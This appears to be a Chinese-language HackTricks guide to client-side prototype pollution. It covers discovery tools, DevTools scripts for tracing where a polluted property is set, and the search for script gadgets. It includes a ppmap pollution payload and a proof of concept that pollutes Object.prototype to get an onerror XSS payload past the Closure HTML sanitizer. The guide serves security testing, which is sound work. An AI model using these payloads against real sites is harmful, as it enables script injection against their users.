Client Side Prototype Pollution

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)

支持HackTricks的其他方式:

使用自动工具进行发现

工具https://github.com/dwisiswant0/ppfuzzhttps://github.com/kleiton0x00/ppmap https://github.com/kosmosec/proto-find可用于发现原型污染漏洞

此外,您还可以使用浏览器扩展程序PPScan自动 扫描访问页面,以查找原型污染漏洞。

调试属性使用位置

// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype,'potentialGadget', {__proto__:null, get(){
console.trace();
return 'test';
}})

寻找原型污染的根本原因

一旦任何工具识别出原型污染漏洞,并且如果代码不是过于复杂,您可以通过在 Chrome 开发者工具中搜索诸如 location.hashdecodeURIComponentlocation.search 等关键字来找到漏洞。这种方法可以帮助您准确定位 JavaScript 代码中的易受攻击部分。

对于更大更复杂的代码库,发现易受攻击代码的简单方法包括以下步骤:

  1. 使用工具识别漏洞并获取一个旨在在构造函数中设置属性的有效载荷。ppmap 提供的一个示例可能如下所示:constructor[prototype][ppmap]=reserved

  2. 在将在页面上执行的第一行 JavaScript 代码处设置断点。使用有效载荷刷新页面,使执行在此断点处暂停。

  3. 在 JavaScript 执行暂停时,在 JS 控制台中执行以下脚本。此脚本将在创建 'ppmap' 属性时发出信号,有助于定位其来源:

function debugAccess(obj, prop, debugGet=true){

var origValue = obj[prop];

Object.defineProperty(obj, prop, {
get: function () {
if (debugGet)
debugger;
return origValue;
},
set: function(val) {
debugger;
origValue = val;
}
});

};

debugAccess(Object.prototype, 'ppmap')
  1. 导航回Sources选项卡,选择“恢复脚本执行”。JavaScript 将继续执行,并且'ppmap'属性将如预期般被污染。利用提供的代码片段有助于确定'ppmap'属性被污染的确切位置。通过检查调用堆栈,可以观察到发生污染的不同堆栈。

在决定要调查哪个堆栈时,通常有用的方法是针对与 JavaScript 库文件相关的堆栈,因为原型污染经常发生在这些库中。通过检查其与库文件的关联来识别相关堆栈(在右侧可见,类似于提供的指南图像)。在存在多个堆栈的情况下,例如第 4 行和第 6 行,逻辑选择是第 4 行的堆栈,因为它代表了污染的初始发生,从而是漏洞的根本原因。单击堆栈将引导您到易受攻击的代码。

https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg

查找脚本小工具

小工具是一旦发现 PP 漏洞将被滥用的代码

如果应用程序很简单,我们可以搜索关键字,如**srcdoc/innerHTML/iframe/createElement,并查看源代码,检查是否导致 JavaScript 执行。有时,提到的技术可能根本找不到小工具。在这种情况下,纯源代码审查会揭示一些不错的小工具,如下面的示例。

在 Mithil 库代码中查找 PP 小工具的示例

查看此文档:https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

重新编译用于有漏洞库的有效载荷

通过 PP 绕过 HTML 消毒器

这项研究展示了可用于通过某些 HTML 消毒器库提供的消毒的 PP 小工具:

  • sanitize-html

  • dompurify

  • Closure

<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);

document.body.append(node);
</script>

参考资料

从零开始学习 AWS 黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)!

支持 HackTricks 的其他方式:

最后更新于